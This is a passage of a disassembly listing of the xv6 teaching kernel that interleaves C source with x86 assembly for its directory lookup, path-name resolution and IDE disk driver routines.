80102041: 74 1f je 80102062 <writei+0x18d>
80102043: 8b 45 08 mov 0x8(%ebp),%eax
80102046: 8b 40 18 mov 0x18(%eax),%eax
80102049: 3b 45 10 cmp 0x10(%ebp),%eax
8010204c: 73 14 jae 80102062 <writei+0x18d>
ip->size = off;
8010204e: 8b 45 08 mov 0x8(%ebp),%eax
80102051: 8b 55 10 mov 0x10(%ebp),%edx
80102054: 89 50 18 mov %edx,0x18(%eax)
iupdate(ip);
80102057: 8b 45 08 mov 0x8(%ebp),%eax
8010205a: 89 04 24 mov %eax,(%esp)
8010205d: e8 56 f6 ff ff call 801016b8 <iupdate>
}
return n;
80102062: 8b 45 14 mov 0x14(%ebp),%eax
}
80102065: 83 c4 24 add $0x24,%esp
80102068: 5b pop %ebx
80102069: 5d pop %ebp
8010206a: c3 ret
8010206b <namecmp>:
//PAGEBREAK!
// Directories
int
namecmp(const char *s, const char *t)
{
8010206b: 55 push %ebp
8010206c: 89 e5 mov %esp,%ebp
8010206e: 83 ec 18 sub $0x18,%esp
return strncmp(s, t, DIRSIZ);
80102071: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp)
80102078: 00
80102079: 8b 45 0c mov 0xc(%ebp),%eax
8010207c: 89 44 24 04 mov %eax,0x4(%esp)
80102080: 8b 45 08 mov 0x8(%ebp),%eax
80102083: 89 04 24 mov %eax,(%esp)
80102086: e8 4a 36 00 00 call 801056d5 <strncmp>
}
8010208b: c9 leave
8010208c: c3 ret
8010208d <dirlookup>:
// Look for a directory entry in a directory.
// If found, set *poff to byte offset of entry.
struct inode*
dirlookup(struct inode *dp, char *name, uint *poff)
{
8010208d: 55 push %ebp
8010208e: 89 e5 mov %esp,%ebp
80102090: 83 ec 38 sub $0x38,%esp
uint off, inum;
struct dirent de;
if(dp->type != T_DIR)
80102093: 8b 45 08 mov 0x8(%ebp),%eax
80102096: 0f b7 40 10 movzwl 0x10(%eax),%eax
8010209a: 66 83 f8 01 cmp $0x1,%ax
8010209e: 74 0c je 801020ac <dirlookup+0x1f>
panic("dirlookup not DIR");
801020a0: c7 04 24 5d 8b 10 80 movl $0x80108b5d,(%esp)
801020a7: e8 91 e4 ff ff call 8010053d <panic>
for(off = 0; off < dp->size; off += sizeof(de)){
801020ac: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
801020b3: e9 87 00 00 00 jmp 8010213f <dirlookup+0xb2>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
801020b8: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
801020bf: 00
801020c0: 8b 45 f4 mov -0xc(%ebp),%eax
801020c3: 89 44 24 08 mov %eax,0x8(%esp)
801020c7: 8d 45 e0 lea -0x20(%ebp),%eax
801020ca: 89 44 24 04 mov %eax,0x4(%esp)
801020ce: 8b 45 08 mov 0x8(%ebp),%eax
801020d1: 89 04 24 mov %eax,(%esp)
801020d4: e8 91 fc ff ff call 80101d6a <readi>
801020d9: 83 f8 10 cmp $0x10,%eax
801020dc: 74 0c je 801020ea <dirlookup+0x5d>
panic("dirlink read");
801020de: c7 04 24 6f 8b 10 80 movl $0x80108b6f,(%esp)
801020e5: e8 53 e4 ff ff call 8010053d <panic>
if(de.inum == 0)
801020ea: 0f b7 45 e0 movzwl -0x20(%ebp),%eax
801020ee: 66 85 c0 test %ax,%ax
801020f1: 74 47 je 8010213a <dirlookup+0xad>
continue;
if(namecmp(name, de.name) == 0){
801020f3: 8d 45 e0 lea -0x20(%ebp),%eax
801020f6: 83 c0 02 add $0x2,%eax
801020f9: 89 44 24 04 mov %eax,0x4(%esp)
801020fd: 8b 45 0c mov 0xc(%ebp),%eax
80102100: 89 04 24 mov %eax,(%esp)
80102103: e8 63 ff ff ff call 8010206b <namecmp>
80102108: 85 c0 test %eax,%eax
8010210a: 75 2f jne 8010213b <dirlookup+0xae>
// entry matches path element
if(poff)
8010210c: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
80102110: 74 08 je 8010211a <dirlookup+0x8d>
*poff = off;
80102112: 8b 45 10 mov 0x10(%ebp),%eax
80102115: 8b 55 f4 mov -0xc(%ebp),%edx
80102118: 89 10 mov %edx,(%eax)
inum = de.inum;
8010211a: 0f b7 45 e0 movzwl -0x20(%ebp),%eax
8010211e: 0f b7 c0 movzwl %ax,%eax
80102121: 89 45 f0 mov %eax,-0x10(%ebp)
return iget(dp->dev, inum);
80102124: 8b 45 08 mov 0x8(%ebp),%eax
80102127: 8b 00 mov (%eax),%eax
80102129: 8b 55 f0 mov -0x10(%ebp),%edx
8010212c: 89 54 24 04 mov %edx,0x4(%esp)
80102130: 89 04 24 mov %eax,(%esp)
80102133: e8 38 f6 ff ff call 80101770 <iget>
80102138: eb 19 jmp 80102153 <dirlookup+0xc6>
for(off = 0; off < dp->size; off += sizeof(de)){
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("dirlink read");
if(de.inum == 0)
continue;
8010213a: 90 nop
struct dirent de;
if(dp->type != T_DIR)
panic("dirlookup not DIR");
for(off = 0; off < dp->size; off += sizeof(de)){
8010213b: 83 45 f4 10 addl $0x10,-0xc(%ebp)
8010213f: 8b 45 08 mov 0x8(%ebp),%eax
80102142: 8b 40 18 mov 0x18(%eax),%eax
80102145: 3b 45 f4 cmp -0xc(%ebp),%eax
80102148: 0f 87 6a ff ff ff ja 801020b8 <dirlookup+0x2b>
inum = de.inum;
return iget(dp->dev, inum);
}
}
return 0;
8010214e: b8 00 00 00 00 mov $0x0,%eax
}
80102153: c9 leave
80102154: c3 ret
80102155 <dirlink>:
// Write a new directory entry (name, inum) into the directory dp.
int
dirlink(struct inode *dp, char *name, uint inum)
{
80102155: 55 push %ebp
80102156: 89 e5 mov %esp,%ebp
80102158: 83 ec 38 sub $0x38,%esp
int off;
struct dirent de;
struct inode *ip;
// Check that name is not present.
if((ip = dirlookup(dp, name, 0)) != 0){
8010215b: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80102162: 00
80102163: 8b 45 0c mov 0xc(%ebp),%eax
80102166: 89 44 24 04 mov %eax,0x4(%esp)
8010216a: 8b 45 08 mov 0x8(%ebp),%eax
8010216d: 89 04 24 mov %eax,(%esp)
80102170: e8 18 ff ff ff call 8010208d <dirlookup>
80102175: 89 45 f0 mov %eax,-0x10(%ebp)
80102178: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
8010217c: 74 15 je 80102193 <dirlink+0x3e>
iput(ip);
8010217e: 8b 45 f0 mov -0x10(%ebp),%eax
80102181: 89 04 24 mov %eax,(%esp)
80102184: e8 9e f8 ff ff call 80101a27 <iput>
return -1;
80102189: b8 ff ff ff ff mov $0xffffffff,%eax
8010218e: e9 b8 00 00 00 jmp 8010224b <dirlink+0xf6>
}
// Look for an empty dirent.
for(off = 0; off < dp->size; off += sizeof(de)){
80102193: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
8010219a: eb 44 jmp 801021e0 <dirlink+0x8b>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
8010219c: 8b 45 f4 mov -0xc(%ebp),%eax
8010219f: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
801021a6: 00
801021a7: 89 44 24 08 mov %eax,0x8(%esp)
801021ab: 8d 45 e0 lea -0x20(%ebp),%eax
801021ae: 89 44 24 04 mov %eax,0x4(%esp)
801021b2: 8b 45 08 mov 0x8(%ebp),%eax
801021b5: 89 04 24 mov %eax,(%esp)
801021b8: e8 ad fb ff ff call 80101d6a <readi>
801021bd: 83 f8 10 cmp $0x10,%eax
801021c0: 74 0c je 801021ce <dirlink+0x79>
panic("dirlink read");
801021c2: c7 04 24 6f 8b 10 80 movl $0x80108b6f,(%esp)
801021c9: e8 6f e3 ff ff call 8010053d <panic>
if(de.inum == 0)
801021ce: 0f b7 45 e0 movzwl -0x20(%ebp),%eax
801021d2: 66 85 c0 test %ax,%ax
801021d5: 74 18 je 801021ef <dirlink+0x9a>
iput(ip);
return -1;
}
// Look for an empty dirent.
for(off = 0; off < dp->size; off += sizeof(de)){
801021d7: 8b 45 f4 mov -0xc(%ebp),%eax
801021da: 83 c0 10 add $0x10,%eax
801021dd: 89 45 f4 mov %eax,-0xc(%ebp)
801021e0: 8b 55 f4 mov -0xc(%ebp),%edx
801021e3: 8b 45 08 mov 0x8(%ebp),%eax
801021e6: 8b 40 18 mov 0x18(%eax),%eax
801021e9: 39 c2 cmp %eax,%edx
801021eb: 72 af jb 8010219c <dirlink+0x47>
801021ed: eb 01 jmp 801021f0 <dirlink+0x9b>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("dirlink read");
if(de.inum == 0)
break;
801021ef: 90 nop
}
strncpy(de.name, name, DIRSIZ);
801021f0: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp)
801021f7: 00
801021f8: 8b 45 0c mov 0xc(%ebp),%eax
801021fb: 89 44 24 04 mov %eax,0x4(%esp)
801021ff: 8d 45 e0 lea -0x20(%ebp),%eax
80102202: 83 c0 02 add $0x2,%eax
80102205: 89 04 24 mov %eax,(%esp)
80102208: e8 20 35 00 00 call 8010572d <strncpy>
de.inum = inum;
8010220d: 8b 45 10 mov 0x10(%ebp),%eax
80102210: 66 89 45 e0 mov %ax,-0x20(%ebp)
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80102214: 8b 45 f4 mov -0xc(%ebp),%eax
80102217: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
8010221e: 00
8010221f: 89 44 24 08 mov %eax,0x8(%esp)
80102223: 8d 45 e0 lea -0x20(%ebp),%eax
80102226: 89 44 24 04 mov %eax,0x4(%esp)
8010222a: 8b 45 08 mov 0x8(%ebp),%eax
8010222d: 89 04 24 mov %eax,(%esp)
80102230: e8 a0 fc ff ff call 80101ed5 <writei>
80102235: 83 f8 10 cmp $0x10,%eax
80102238: 74 0c je 80102246 <dirlink+0xf1>
panic("dirlink");
8010223a: c7 04 24 7c 8b 10 80 movl $0x80108b7c,(%esp)
80102241: e8 f7 e2 ff ff call 8010053d <panic>
return 0;
80102246: b8 00 00 00 00 mov $0x0,%eax
}
8010224b: c9 leave
8010224c: c3 ret
8010224d <skipelem>:
// skipelem("a", name) = "", setting name = "a"
// skipelem("", name) = skipelem("////", name) = 0
//
static char*
skipelem(char *path, char *name)
{
8010224d: 55 push %ebp
8010224e: 89 e5 mov %esp,%ebp
80102250: 83 ec 28 sub $0x28,%esp
char *s;
int len;
while(*path == '/')
80102253: eb 04 jmp 80102259 <skipelem+0xc>
path++;
80102255: 83 45 08 01 addl $0x1,0x8(%ebp)
skipelem(char *path, char *name)
{
char *s;
int len;
while(*path == '/')
80102259: 8b 45 08 mov 0x8(%ebp),%eax
8010225c: 0f b6 00 movzbl (%eax),%eax
8010225f: 3c 2f cmp $0x2f,%al
80102261: 74 f2 je 80102255 <skipelem+0x8>
path++;
if(*path == 0)
80102263: 8b 45 08 mov 0x8(%ebp),%eax
80102266: 0f b6 00 movzbl (%eax),%eax
80102269: 84 c0 test %al,%al
8010226b: 75 0a jne 80102277 <skipelem+0x2a>
return 0;
8010226d: b8 00 00 00 00 mov $0x0,%eax
80102272: e9 86 00 00 00 jmp 801022fd <skipelem+0xb0>
s = path;
80102277: 8b 45 08 mov 0x8(%ebp),%eax
8010227a: 89 45 f4 mov %eax,-0xc(%ebp)
while(*path != '/' && *path != 0)
8010227d: eb 04 jmp 80102283 <skipelem+0x36>
path++;
8010227f: 83 45 08 01 addl $0x1,0x8(%ebp)
while(*path == '/')
path++;
if(*path == 0)
return 0;
s = path;
while(*path != '/' && *path != 0)
80102283: 8b 45 08 mov 0x8(%ebp),%eax
80102286: 0f b6 00 movzbl (%eax),%eax
80102289: 3c 2f cmp $0x2f,%al
8010228b: 74 0a je 80102297 <skipelem+0x4a>
8010228d: 8b 45 08 mov 0x8(%ebp),%eax
80102290: 0f b6 00 movzbl (%eax),%eax
80102293: 84 c0 test %al,%al
80102295: 75 e8 jne 8010227f <skipelem+0x32>
path++;
len = path - s;
80102297: 8b 55 08 mov 0x8(%ebp),%edx
8010229a: 8b 45 f4 mov -0xc(%ebp),%eax
8010229d: 89 d1 mov %edx,%ecx
8010229f: 29 c1 sub %eax,%ecx
801022a1: 89 c8 mov %ecx,%eax
801022a3: 89 45 f0 mov %eax,-0x10(%ebp)
if(len >= DIRSIZ)
801022a6: 83 7d f0 0d cmpl $0xd,-0x10(%ebp)
801022aa: 7e 1c jle 801022c8 <skipelem+0x7b>
memmove(name, s, DIRSIZ);
801022ac: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp)
801022b3: 00
801022b4: 8b 45 f4 mov -0xc(%ebp),%eax
801022b7: 89 44 24 04 mov %eax,0x4(%esp)
801022bb: 8b 45 0c mov 0xc(%ebp),%eax
801022be: 89 04 24 mov %eax,(%esp)
801022c1: e8 6b 33 00 00 call 80105631 <memmove>
else {
memmove(name, s, len);
name[len] = 0;
}
while(*path == '/')
801022c6: eb 28 jmp 801022f0 <skipelem+0xa3>
path++;
len = path - s;
if(len >= DIRSIZ)
memmove(name, s, DIRSIZ);
else {
memmove(name, s, len);
801022c8: 8b 45 f0 mov -0x10(%ebp),%eax
801022cb: 89 44 24 08 mov %eax,0x8(%esp)
801022cf: 8b 45 f4 mov -0xc(%ebp),%eax
801022d2: 89 44 24 04 mov %eax,0x4(%esp)
801022d6: 8b 45 0c mov 0xc(%ebp),%eax
801022d9: 89 04 24 mov %eax,(%esp)
801022dc: e8 50 33 00 00 call 80105631 <memmove>
name[len] = 0;
801022e1: 8b 45 f0 mov -0x10(%ebp),%eax
801022e4: 03 45 0c add 0xc(%ebp),%eax
801022e7: c6 00 00 movb $0x0,(%eax)
}
while(*path == '/')
801022ea: eb 04 jmp 801022f0 <skipelem+0xa3>
path++;
801022ec: 83 45 08 01 addl $0x1,0x8(%ebp)
memmove(name, s, DIRSIZ);
else {
memmove(name, s, len);
name[len] = 0;
}
while(*path == '/')
801022f0: 8b 45 08 mov 0x8(%ebp),%eax
801022f3: 0f b6 00 movzbl (%eax),%eax
801022f6: 3c 2f cmp $0x2f,%al
801022f8: 74 f2 je 801022ec <skipelem+0x9f>
path++;
return path;
801022fa: 8b 45 08 mov 0x8(%ebp),%eax
}
801022fd: c9 leave
801022fe: c3 ret
801022ff <namex>:
// If parent != 0, return the inode for the parent and copy the final
// path element into name, which must have room for DIRSIZ bytes.
// Must be called inside a transaction since it calls iput().
static struct inode*
namex(char *path, int nameiparent, char *name)
{
801022ff: 55 push %ebp
80102300: 89 e5 mov %esp,%ebp
80102302: 83 ec 28 sub $0x28,%esp
struct inode *ip, *next;
if(*path == '/')
80102305: 8b 45 08 mov 0x8(%ebp),%eax
80102308: 0f b6 00 movzbl (%eax),%eax
8010230b: 3c 2f cmp $0x2f,%al
8010230d: 75 1c jne 8010232b <namex+0x2c>
ip = iget(ROOTDEV, ROOTINO);
8010230f: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80102316: 00
80102317: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8010231e: e8 4d f4 ff ff call 80101770 <iget>
80102323: 89 45 f4 mov %eax,-0xc(%ebp)
else
ip = idup(proc->cwd);
while((path = skipelem(path, name)) != 0){
80102326: e9 af 00 00 00 jmp 801023da <namex+0xdb>
struct inode *ip, *next;
if(*path == '/')
ip = iget(ROOTDEV, ROOTINO);
else
ip = idup(proc->cwd);
8010232b: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80102331: 8b 40 68 mov 0x68(%eax),%eax
80102334: 89 04 24 mov %eax,(%esp)
80102337: e8 06 f5 ff ff call 80101842 <idup>
8010233c: 89 45 f4 mov %eax,-0xc(%ebp)
while((path = skipelem(path, name)) != 0){
8010233f: e9 96 00 00 00 jmp 801023da <namex+0xdb>
ilock(ip);
80102344: 8b 45 f4 mov -0xc(%ebp),%eax
80102347: 89 04 24 mov %eax,(%esp)
8010234a: e8 25 f5 ff ff call 80101874 <ilock>
if(ip->type != T_DIR){
8010234f: 8b 45 f4 mov -0xc(%ebp),%eax
80102352: 0f b7 40 10 movzwl 0x10(%eax),%eax
80102356: 66 83 f8 01 cmp $0x1,%ax
8010235a: 74 15 je 80102371 <namex+0x72>
iunlockput(ip);
8010235c: 8b 45 f4 mov -0xc(%ebp),%eax
8010235f: 89 04 24 mov %eax,(%esp)
80102362: e8 91 f7 ff ff call 80101af8 <iunlockput>
return 0;
80102367: b8 00 00 00 00 mov $0x0,%eax
8010236c: e9 a3 00 00 00 jmp 80102414 <namex+0x115>
}
if(nameiparent && *path == '\0'){
80102371: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
80102375: 74 1d je 80102394 <namex+0x95>
80102377: 8b 45 08 mov 0x8(%ebp),%eax
8010237a: 0f b6 00 movzbl (%eax),%eax
8010237d: 84 c0 test %al,%al
8010237f: 75 13 jne 80102394 <namex+0x95>
// Stop one level early.
iunlock(ip);
80102381: 8b 45 f4 mov -0xc(%ebp),%eax
80102384: 89 04 24 mov %eax,(%esp)
80102387: e8 36 f6 ff ff call 801019c2 <iunlock>
return ip;
8010238c: 8b 45 f4 mov -0xc(%ebp),%eax
8010238f: e9 80 00 00 00 jmp 80102414 <namex+0x115>
}
if((next = dirlookup(ip, name, 0)) == 0){
80102394: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
8010239b: 00
8010239c: 8b 45 10 mov 0x10(%ebp),%eax
8010239f: 89 44 24 04 mov %eax,0x4(%esp)
801023a3: 8b 45 f4 mov -0xc(%ebp),%eax
801023a6: 89 04 24 mov %eax,(%esp)
801023a9: e8 df fc ff ff call 8010208d <dirlookup>
801023ae: 89 45 f0 mov %eax,-0x10(%ebp)
801023b1: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
801023b5: 75 12 jne 801023c9 <namex+0xca>
iunlockput(ip);
801023b7: 8b 45 f4 mov -0xc(%ebp),%eax
801023ba: 89 04 24 mov %eax,(%esp)
801023bd: e8 36 f7 ff ff call 80101af8 <iunlockput>
return 0;
801023c2: b8 00 00 00 00 mov $0x0,%eax
801023c7: eb 4b jmp 80102414 <namex+0x115>
}
iunlockput(ip);
801023c9: 8b 45 f4 mov -0xc(%ebp),%eax
801023cc: 89 04 24 mov %eax,(%esp)
801023cf: e8 24 f7 ff ff call 80101af8 <iunlockput>
ip = next;
801023d4: 8b 45 f0 mov -0x10(%ebp),%eax
801023d7: 89 45 f4 mov %eax,-0xc(%ebp)
if(*path == '/')
ip = iget(ROOTDEV, ROOTINO);
else
ip = idup(proc->cwd);
while((path = skipelem(path, name)) != 0){
801023da: 8b 45 10 mov 0x10(%ebp),%eax
801023dd: 89 44 24 04 mov %eax,0x4(%esp)
801023e1: 8b 45 08 mov 0x8(%ebp),%eax
801023e4: 89 04 24 mov %eax,(%esp)
801023e7: e8 61 fe ff ff call 8010224d <skipelem>
801023ec: 89 45 08 mov %eax,0x8(%ebp)
801023ef: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
801023f3: 0f 85 4b ff ff ff jne 80102344 <namex+0x45>
return 0;
}
iunlockput(ip);
ip = next;
}
if(nameiparent){
801023f9: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
801023fd: 74 12 je 80102411 <namex+0x112>
iput(ip);
801023ff: 8b 45 f4 mov -0xc(%ebp),%eax
80102402: 89 04 24 mov %eax,(%esp)
80102405: e8 1d f6 ff ff call 80101a27 <iput>
return 0;
8010240a: b8 00 00 00 00 mov $0x0,%eax
8010240f: eb 03 jmp 80102414 <namex+0x115>
}
return ip;
80102411: 8b 45 f4 mov -0xc(%ebp),%eax
}
80102414: c9 leave
80102415: c3 ret
80102416 <namei>:
struct inode*
namei(char *path)
{
80102416: 55 push %ebp
80102417: 89 e5 mov %esp,%ebp
80102419: 83 ec 28 sub $0x28,%esp
char name[DIRSIZ];
return namex(path, 0, name);
8010241c: 8d 45 ea lea -0x16(%ebp),%eax
8010241f: 89 44 24 08 mov %eax,0x8(%esp)
80102423: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
8010242a: 00
8010242b: 8b 45 08 mov 0x8(%ebp),%eax
8010242e: 89 04 24 mov %eax,(%esp)
80102431: e8 c9 fe ff ff call 801022ff <namex>
}
80102436: c9 leave
80102437: c3 ret
80102438 <nameiparent>:
struct inode*
nameiparent(char *path, char *name)
{
80102438: 55 push %ebp
80102439: 89 e5 mov %esp,%ebp
8010243b: 83 ec 18 sub $0x18,%esp
return namex(path, 1, name);
8010243e: 8b 45 0c mov 0xc(%ebp),%eax
80102441: 89 44 24 08 mov %eax,0x8(%esp)
80102445: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
8010244c: 00
8010244d: 8b 45 08 mov 0x8(%ebp),%eax
80102450: 89 04 24 mov %eax,(%esp)
80102453: e8 a7 fe ff ff call 801022ff <namex>
}
80102458: c9 leave
80102459: c3 ret
...
8010245c <inb>:
// Routines to let C code use special x86 instructions.
static inline uchar
inb(ushort port)
{
8010245c: 55 push %ebp
8010245d: 89 e5 mov %esp,%ebp
8010245f: 53 push %ebx
80102460: 83 ec 14 sub $0x14,%esp
80102463: 8b 45 08 mov 0x8(%ebp),%eax
80102466: 66 89 45 e8 mov %ax,-0x18(%ebp)
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
8010246a: 0f b7 55 e8 movzwl -0x18(%ebp),%edx
8010246e: 66 89 55 ea mov %dx,-0x16(%ebp)
80102472: 0f b7 55 ea movzwl -0x16(%ebp),%edx
80102476: ec in (%dx),%al
80102477: 89 c3 mov %eax,%ebx
80102479: 88 5d fb mov %bl,-0x5(%ebp)
return data;
8010247c: 0f b6 45 fb movzbl -0x5(%ebp),%eax
}
80102480: 83 c4 14 add $0x14,%esp
80102483: 5b pop %ebx
80102484: 5d pop %ebp
80102485: c3 ret
80102486 <insl>:
static inline void
insl(int port, void *addr, int cnt)
{
80102486: 55 push %ebp
80102487: 89 e5 mov %esp,%ebp
80102489: 57 push %edi
8010248a: 53 push %ebx
asm volatile("cld; rep insl" :
8010248b: 8b 55 08 mov 0x8(%ebp),%edx
8010248e: 8b 4d 0c mov 0xc(%ebp),%ecx
80102491: 8b 45 10 mov 0x10(%ebp),%eax
80102494: 89 cb mov %ecx,%ebx
80102496: 89 df mov %ebx,%edi
80102498: 89 c1 mov %eax,%ecx
8010249a: fc cld
8010249b: f3 6d rep insl (%dx),%es:(%edi)
8010249d: 89 c8 mov %ecx,%eax
8010249f: 89 fb mov %edi,%ebx
801024a1: 89 5d 0c mov %ebx,0xc(%ebp)
801024a4: 89 45 10 mov %eax,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"d" (port), "0" (addr), "1" (cnt) :
"memory", "cc");
}
801024a7: 5b pop %ebx
801024a8: 5f pop %edi
801024a9: 5d pop %ebp
801024aa: c3 ret
801024ab <outb>:
static inline void
outb(ushort port, uchar data)
{
801024ab: 55 push %ebp
801024ac: 89 e5 mov %esp,%ebp
801024ae: 83 ec 08 sub $0x8,%esp
801024b1: 8b 55 08 mov 0x8(%ebp),%edx
801024b4: 8b 45 0c mov 0xc(%ebp),%eax
801024b7: 66 89 55 fc mov %dx,-0x4(%ebp)
801024bb: 88 45 f8 mov %al,-0x8(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801024be: 0f b6 45 f8 movzbl -0x8(%ebp),%eax
801024c2: 0f b7 55 fc movzwl -0x4(%ebp),%edx
801024c6: ee out %al,(%dx)
}
801024c7: c9 leave
801024c8: c3 ret
801024c9 <outsl>:
asm volatile("out %0,%1" : : "a" (data), "d" (port));
}
static inline void
outsl(int port, const void *addr, int cnt)
{
801024c9: 55 push %ebp
801024ca: 89 e5 mov %esp,%ebp
801024cc: 56 push %esi
801024cd: 53 push %ebx
asm volatile("cld; rep outsl" :
801024ce: 8b 55 08 mov 0x8(%ebp),%edx
801024d1: 8b 4d 0c mov 0xc(%ebp),%ecx
801024d4: 8b 45 10 mov 0x10(%ebp),%eax
801024d7: 89 cb mov %ecx,%ebx
801024d9: 89 de mov %ebx,%esi
801024db: 89 c1 mov %eax,%ecx
801024dd: fc cld
801024de: f3 6f rep outsl %ds:(%esi),(%dx)
801024e0: 89 c8 mov %ecx,%eax
801024e2: 89 f3 mov %esi,%ebx
801024e4: 89 5d 0c mov %ebx,0xc(%ebp)
801024e7: 89 45 10 mov %eax,0x10(%ebp)
"=S" (addr), "=c" (cnt) :
"d" (port), "0" (addr), "1" (cnt) :
"cc");
}
801024ea: 5b pop %ebx
801024eb: 5e pop %esi
801024ec: 5d pop %ebp
801024ed: c3 ret
801024ee <idewait>:
static void idestart(struct buf*);
// Wait for IDE disk to become ready.
static int
idewait(int checkerr)
{
801024ee: 55 push %ebp
801024ef: 89 e5 mov %esp,%ebp
801024f1: 83 ec 14 sub $0x14,%esp
int r;
while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY)
801024f4: 90 nop
801024f5: c7 04 24 f7 01 00 00 movl $0x1f7,(%esp)
801024fc: e8 5b ff ff ff call 8010245c <inb>
80102501: 0f b6 c0 movzbl %al,%eax
80102504: 89 45 fc mov %eax,-0x4(%ebp)
80102507: 8b 45 fc mov -0x4(%ebp),%eax
8010250a: 25 c0 00 00 00 and $0xc0,%eax
8010250f: 83 f8 40 cmp $0x40,%eax
80102512: 75 e1 jne 801024f5 <idewait+0x7>
;
if(checkerr && (r & (IDE_DF|IDE_ERR)) != 0)
80102514: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
80102518: 74 11 je 8010252b <idewait+0x3d>
8010251a: 8b 45 fc mov -0x4(%ebp),%eax
8010251d: 83 e0 21 and $0x21,%eax
80102520: 85 c0 test %eax,%eax
80102522: 74 07 je 8010252b <idewait+0x3d>
return -1;
80102524: b8 ff ff ff ff mov $0xffffffff,%eax
80102529: eb 05 jmp 80102530 <idewait+0x42>
return 0;
8010252b: b8 00 00 00 00 mov $0x0,%eax
}
80102530: c9 leave
80102531: c3 ret
80102532 <ideinit>:
void
ideinit(void)
{
80102532: 55 push %ebp
80102533: 89 e5 mov %esp,%ebp
80102535: 83 ec 28 sub $0x28,%esp
int i;
initlock(&idelock, "ide");
80102538: c7 44 24 04 84 8b 10 movl $0x80108b84,0x4(%esp)
8010253f: 80
80102540: c7 04 24 20 c6 10 80 movl $0x8010c620,(%esp)
80102547: e8 a2 2d 00 00 call 801052ee <initlock>
picenable(IRQ_IDE);
8010254c: c7 04 24 0e 00 00 00 movl $0xe,(%esp)
80102553: e8 a9 18 00 00 call 80103e01 <picenable>
ioapicenable(IRQ_IDE, ncpu - 1);
80102558: a1 60 39 11 80 mov 0x80113960,%eax
8010255d: 83 e8 01 sub $0x1,%eax
80102560: 89 44 24 04 mov %eax,0x4(%esp)
80102564: c7 04 24 0e 00 00 00 movl $0xe,(%esp)
8010256b: e8 12 04 00 00 call 80102982 <ioapicenable>
idewait(0);
80102570: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80102577: e8 72 ff ff ff call 801024ee <idewait>
// Check if disk 1 is present
outb(0x1f6, 0xe0 | (1<<4));
8010257c: c7 44 24 04 f0 00 00 movl $0xf0,0x4(%esp)
80102583: 00
80102584: c7 04 24 f6 01 00 00 movl $0x1f6,(%esp)
8010258b: e8 1b ff ff ff call 801024ab <outb>
for(i=0; i<1000; i++){
80102590: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80102597: eb 20 jmp 801025b9 <ideinit+0x87>
if(inb(0x1f7) != 0){
80102599: c7 04 24 f7 01 00 00 movl $0x1f7,(%esp)
801025a0: e8 b7 fe ff ff call 8010245c <inb>
801025a5: 84 c0 test %al,%al
801025a7: 74 0c je 801025b5 <ideinit+0x83>
havedisk1 = 1;
801025a9: c7 05 58 c6 10 80 01 movl $0x1,0x8010c658
801025b0: 00 00 00
break;
801025b3: eb 0d jmp 801025c2 <ideinit+0x90>
ioapicenable(IRQ_IDE, ncpu - 1);
idewait(0);
// Check if disk 1 is present
outb(0x1f6, 0xe0 | (1<<4));
for(i=0; i<1000; i++){
801025b5: 83 45 f4 01 addl $0x1,-0xc(%ebp)
801025b9: 81 7d f4 e7 03 00 00 cmpl $0x3e7,-0xc(%ebp)
801025c0: 7e d7 jle 80102599 <ideinit+0x67>
break;
}
}
// Switch back to disk 0.
outb(0x1f6, 0xe0 | (0<<4));
801025c2: c7 44 24 04 e0 00 00 movl $0xe0,0x4(%esp)
801025c9: 00
801025ca: c7 04 24 f6 01 00 00 movl $0x1f6,(%esp)
801025d1: e8 d5 fe ff ff call 801024ab <outb>
}
801025d6: c9 leave
801025d7: c3 ret
801025d8 <idestart>:
// Start the request for b. Caller must hold idelock.
static void
idestart(struct buf *b)
{
801025d8: 55 push %ebp
801025d9: 89 e5 mov %esp,%ebp
801025db: 83 ec 18 sub $0x18,%esp
if(b == 0)
801025de: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
801025e2: 75 0c jne 801025f0 <idestart+0x18>
panic("idestart");
801025e4: c7 04 24 88 8b 10 80 movl $0x80108b88,(%esp)
801025eb: e8 4d df ff ff call 8010053d <panic>
idewait(0);
801025f0: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801025f7: e8 f2 fe ff ff call 801024ee <idewait>
outb(0x3f6, 0); // generate interrupt
801025fc: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80102603: 00
80102604: c7 04 24 f6 03 00 00 movl $0x3f6,(%esp)
8010260b: e8 9b fe ff ff call 801024ab <outb>
outb(0x1f2, 1); // number of sectors
80102610: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80102617: 00
80102618: c7 04 24 f2 01 00 00 movl $0x1f2,(%esp)
